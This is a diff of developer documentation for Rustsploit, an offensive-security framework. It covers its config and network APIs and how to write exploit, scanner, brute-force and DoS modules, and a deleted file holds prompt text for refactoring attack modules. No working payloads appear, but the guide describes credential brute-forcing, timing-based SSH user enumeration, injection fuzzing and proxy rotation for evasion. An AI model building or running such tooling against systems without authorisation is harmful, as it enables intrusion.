| `.clear_target()` | `()` | Unset the target |
|
||||
|
||||
#### `TargetConfig` Enum
|
||||
|
||||
```rust
|
||||
use crate::config::TargetConfig;
|
||||
|
||||
pub enum TargetConfig {
|
||||
Single(String), // Single IP or hostname
|
||||
Subnet(IpNetwork), // CIDR subnet
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `ModuleConfig` & API Prompt Keys
|
||||
|
||||
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `src/utils/prompt.rs` read these values instead of prompting stdin.
|
||||
|
||||
#### Struct Fields
|
||||
|
||||
```rust
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
|
||||
pub api_mode: bool, // ← prevents stdin fallback
|
||||
}
|
||||
```
|
||||
|
||||
#### Helper Functions
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
|
||||
| `set_module_config(config)` | Set the config (called by API server before module execution) |
|
||||
| `clear_module_config()` | Reset to defaults (called after module execution) |
|
||||
|
||||
```rust
|
||||
use crate::config::get_module_config;
|
||||
|
||||
let config = get_module_config();
|
||||
if config.api_mode {
|
||||
// Running via API — don't expect stdin
|
||||
}
|
||||
if let Some(port) = config.port {
|
||||
// Use pre-configured port
|
||||
}
|
||||
```
|
||||
|
||||
#### Standardized API Prompt Keys
|
||||
|
||||
When building API requests, use these standardized keys in the `"prompts"` JSON object:
|
||||
|
||||
**Common keys (most modules):**
|
||||
|
||||
| Key | Type | Description |
|
||||
|-----|------|-------------|
|
||||
| `port` | u16 | Target service port |
|
||||
| `timeout` | int | Connection timeout (seconds or ms) |
|
||||
| `verbose` | y/n | Verbose output |
|
||||
| `save_results` | y/n | Save results to file |
|
||||
| `output_file` | string | Output filename |
|
||||
| `concurrency` | int | Concurrent threads/tasks |
|
||||
| `threads` | int | Alias for concurrency |
|
||||
| `wordlist` | path | Path to wordlist file |
|
||||
| `target_file` | path | File containing targets |
|
||||
| `mode` | string | Operation mode (1, 2, 3, etc.) |
|
||||
|
||||
**Scanner-specific keys** (see full list in `config.rs` doc comments):
|
||||
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
|
||||
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
|
||||
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
|
||||
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
|
||||
|
||||
---
|
||||
|
||||
### `results_dir() → PathBuf`
|
||||
|
||||
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
|
||||
|
||||
```rust
|
||||
use crate::config::results_dir;
|
||||
|
||||
let out_path = results_dir().join("scan_output.txt");
|
||||
std::fs::write(&out_path, results)?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Constants
|
||||
|
||||
| Constant | Value | Purpose |
|
||||
|----------|-------|---------|
|
||||
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
|
||||
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
|
||||
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::network` — Network Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::utils::network::{
|
||||
build_http_client, build_http_client_with, HttpClientOpts,
|
||||
tcp_connect_addr, tcp_connect_str, tcp_connect, tcp_port_open,
|
||||
blocking_tcp_connect, udp_bind, quick_honeypot_check,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `build_http_client(timeout) → Result<Client>`
|
||||
|
||||
Creates a standard `reqwest::Client` with sensible defaults (danger-accept invalid certs, no redirect limit). Use this instead of hand-rolling `reqwest::Client::builder()`.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::build_http_client;
|
||||
|
||||
let client = build_http_client(Duration::from_secs(10))?;
|
||||
let resp = client.get(&url).send().await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `build_http_client_with(timeout, opts) → Result<Client>`
|
||||
|
||||
Extended HTTP client builder with additional options.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
|
||||
let client = build_http_client_with(Duration::from_secs(10), HttpClientOpts {
|
||||
cookie_store: true,
|
||||
follow_redirects: true,
|
||||
user_agent: Some("Mozilla/5.0".to_string()),
|
||||
..HttpClientOpts::default()
|
||||
})?;
|
||||
```
|
||||
|
||||
#### `HttpClientOpts` Fields
|
||||
|
||||
| Field | Type | Default | Description |
|
||||
|-------|------|---------|-------------|
|
||||
| `cookie_store` | `bool` | `false` | Enable cookie jar |
|
||||
| `follow_redirects` | `bool` | `false` | Follow HTTP redirects |
|
||||
| `user_agent` | `Option<String>` | `None` | Custom User-Agent header |
|
||||
| `default_headers` | `Option<HeaderMap>` | `None` | Default headers for all requests |
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_addr(addr, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Async TCP connection to a `SocketAddr` with timeout and optional source port binding. Preferred over raw `TcpStream::connect` — respects global source port setting.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::tcp_connect_addr;
|
||||
|
||||
let stream = tcp_connect_addr(addr, Duration::from_secs(5)).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_str(addr_str, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Async TCP connection from a `"host:port"` string. Resolves DNS and connects.
|
||||
|
||||
---
|
||||
|
||||
### `tcp_port_open(ip, port, timeout) → bool`
|
||||
|
||||
Quick async check if a TCP port is open.
|
||||
|
||||
---
|
||||
|
||||
### `blocking_tcp_connect(addr, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Synchronous TCP connection for use in `spawn_blocking` contexts.
|
||||
|
||||
---
|
||||
|
||||
### `udp_bind(target_ip) → io::Result<UdpSocket>`
|
||||
|
||||
Binds a UDP socket to the appropriate address family (IPv4 or IPv6) for the target.
|
||||
|
||||
---
|
||||
|
||||
### `quick_honeypot_check(ip) → bool`
|
||||
|
||||
Fast honeypot detection — probes common ports and returns `true` if 11+ respond (likely honeypot).
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::privilege` — Privilege Checks
|
||||
|
||||
### `require_root(context) → Result<()>`
|
||||
|
||||
Call at the top of `run()` in modules that need raw sockets (ICMP, SYN scan, packet crafting). Returns a clean error message if the current euid is not root.
|
||||
|
||||
```rust
|
||||
use crate::utils::privilege::require_root;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
require_root("ICMP raw socket")?;
|
||||
// ... raw socket operations ...
|
||||
}
|
||||
```
|
||||
|
||||
Used by: DoS modules (icmp_flood, syn_ack_flood, null_syn_exhaustion, dns_amplification, etc.), ping_sweep scanner.
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
- HTTP header templates
|
||||
- Response fingerprinting helpers
|
||||
- Common error formatters
|
||||
- Credential loaders with streaming support
|
||||
+23
-442
@@ -1,446 +1,27 @@
|
||||
# Rustsploit Developer Guide
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
> ⚠️ **This file has been superseded by the new wiki documentation.**
|
||||
> Please use the links below for up-to-date information.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Project Overview](#project-overview)
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
11. [Utilities & Helpers](#utilities--helpers)
|
||||
12. [Testing & QA](#testing--qa)
|
||||
13. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
## Project Overview
|
||||
|
||||
Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
---
|
||||
|
||||
## Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
|
||||
│ ├── api.rs # REST API server with auth, rate limiting, and security
|
||||
│ ├── config.rs # Global configuration with target validation
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── exploit_gen.rs # build.rs output
|
||||
│ │ ├── scanner.rs
|
||||
│ │ ├── scanner_gen.rs # build.rs output
|
||||
│ │ ├── creds.rs
|
||||
│ │ └── creds_gen.rs # build.rs output
|
||||
│ ├── modules/ # Fully auto-discovered attack modules
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ ├── rtsphead.txt
|
||||
│ └── telnet-default/ # Default telnet credentials
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
|
||||
|
||||
---
|
||||
|
||||
## Build Pipeline & Module Discovery
|
||||
|
||||
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
|
||||
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
|
||||
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
|
||||
|
||||
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
|
||||
### Command Chaining
|
||||
|
||||
The shell supports command chaining via the `&` separator, allowing multiple commands to be executed in a single line:
|
||||
|
||||
```bash
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
Commands are parsed and executed sequentially from left to right. This is useful for scripting workflows or quick module setup.
|
||||
|
||||
---
|
||||
|
||||
## Proxy Subsystem
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
|
||||
---
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
`src/cli.rs` uses Clap to expose three commands:
|
||||
|
||||
- `--command exploit|scanner|creds`
|
||||
- `--module <name>` (short or qualified, same mapping as the shell)
|
||||
- `--target <host|IP>`
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
|
||||
```
|
||||
|
||||
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
|
||||
|
||||
---
|
||||
|
||||
## Security & Input Validation
|
||||
|
||||
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
|
||||
|
||||
### Input Validation Constants
|
||||
|
||||
Located across core modules, these constants enforce safe limits:
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
|
||||
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
### Security Patterns
|
||||
|
||||
When writing modules or core code, follow these patterns:
|
||||
|
||||
#### 1. Input Length Validation
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
#### 2. Control Character Rejection
|
||||
```rust
|
||||
if input.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Input cannot contain control characters"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. Path Traversal Prevention
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 4. Hostname/Target Validation
|
||||
```rust
|
||||
// Use the framework's normalize_target function for comprehensive validation
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
|
||||
```
|
||||
|
||||
For manual validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 5. Overflow Protection
|
||||
```rust
|
||||
// Use saturating_add to prevent overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
#### 6. Prompt Attempt Limiting
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// ... prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
|
||||
- **Rate Limiting:** 3 failed auth attempts = 30 second block
|
||||
- **Auto-cleanup:** Old entries purged when limits exceeded
|
||||
- **IP Tracking:** With automatic rotation when suspicious activity detected
|
||||
|
||||
### File Operations
|
||||
|
||||
When reading files, always:
|
||||
1. Validate the path doesn't contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading
|
||||
4. Skip symlinks for security
|
||||
|
||||
### Honeypot Detection
|
||||
|
||||
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
|
||||
|
||||
- Scans 200 common ports with 250ms timeout per port
|
||||
- If 11+ ports are open, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
This helps operators identify potentially deceptive targets before spending time on them.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
|
||||
```rust
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Guidelines:
|
||||
|
||||
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
|
||||
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
|
||||
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
|
||||
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking {}", target);
|
||||
|
||||
let url = format!("http://{}/status", target);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("failed to fetch body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("[+] {} appears vulnerable", target);
|
||||
} else {
|
||||
println!("[-] {} not vulnerable", target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Modules: Best Practices
|
||||
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
|
||||
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
|
||||
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
|
||||
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
|
||||
|
||||
- **FTP Bruteforce Enhancements**:
|
||||
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
|
||||
- JSON configuration system with load/save/validation
|
||||
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
|
||||
- Framework `normalize_target()` integration
|
||||
|
||||
- **L2TP/IPsec Module**:
|
||||
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
|
||||
- Proper IPsec Phase 1/2 and L2TP session management
|
||||
- L2TPv2 packet crafting with AVP encoding
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
- Verbose mode for quick checks with detailed attempt reporting
|
||||
- Improved buffer handling using `BytesMut` with size limits
|
||||
|
||||
- **RDP Module**:
|
||||
- Streaming failover for password files >150MB
|
||||
- Comprehensive error classification with 8 error types
|
||||
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
|
||||
- Command injection prevention via argument sanitization
|
||||
|
||||
- **MQTT Module**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper variable-length encoding and UTF-8 string encoding
|
||||
- CONNACK response parsing with error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Implements timing-based enumeration inspired by CVE-2018-15473
|
||||
- Statistical analysis using standard deviation to identify valid users
|
||||
- precise `tokio::time::Instant` measurements for authentication attempts
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
|
||||
- Recursive scanning logic with depth control
|
||||
- Custom `Client` configuration for optimized throughput
|
||||
- Interactive setup wizard `setup_wizard` guides users through configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Supports versatile payload placement (URL, Header, Body)
|
||||
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
|
||||
- Base-N counting algorithm for exhaustive iteration without memory overhead
|
||||
- Modular `charset` selection (SQL, Traversal, Command Injection)
|
||||
|
||||
---
|
||||
|
||||
## Exploit Modules: Best Practices
|
||||
|
||||
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
|
||||
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
|
||||
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
|
||||
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
|
||||
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
|
||||
|
||||
---
|
||||
|
||||
## Utilities & Helpers
|
||||
|
||||
`src/utils.rs` provides:
|
||||
|
||||
- **`normalize_target`**: Comprehensive target normalization supporting:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
|
||||
|
||||
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
---
|
||||
|
||||
## Testing & QA
|
||||
|
||||
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
|
||||
2. **Build:** `cargo check` ensures new modules compile.
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
|
||||
---
|
||||
|
||||
## Roadmap & Ideas
|
||||
|
||||
- Interactive shell improvements (history, tab completion, colored banners)
|
||||
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
|
||||
- Credential module templates (derive-style macros for common prompts)
|
||||
- Integration with external wordlists (dynamic download or git submodules)
|
||||
- Session logging (`tee` support) and output JSON export for pipeline ingestion
|
||||
- Transport abstractions for UDP/DoS modules
|
||||
|
||||
Contributions are welcome—open an issue or start a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
|
||||
## Wiki Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Home](Home.md) | Full documentation index |
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
|
||||
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
|
||||
| [API Server](API-Server.md) | REST API startup, auth, hardening |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
|
||||
| [Module Catalog](Module-Catalog.md) | All modules by category |
|
||||
| [Module Development](Module-Development.md) | How to author new modules |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
|
||||
| [Changelog](Changelog.md) | Release notes |
|
||||
| [Contributing](Contributing.md) | Fork guide and PR checklist |
|
||||
| [Credits](Credits.md) | Authors and acknowledgements |
|
||||
|
||||
@@ -1,58 +0,0 @@
|
||||
Required Signature
|
||||
|
||||
The module must contain this exact public async function:
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
|
||||
Or any variant like:
|
||||
|
||||
pub async fn run(_target: &str) -> anyhow::Result<()>
|
||||
|
||||
Or even:
|
||||
|
||||
pub async fn run(host: &str) -> anyhow::Result<()>
|
||||
|
||||
|
||||
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
|
||||
|
||||
|
||||
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
|
||||
|
||||
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
|
||||
|
||||
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
|
||||
|
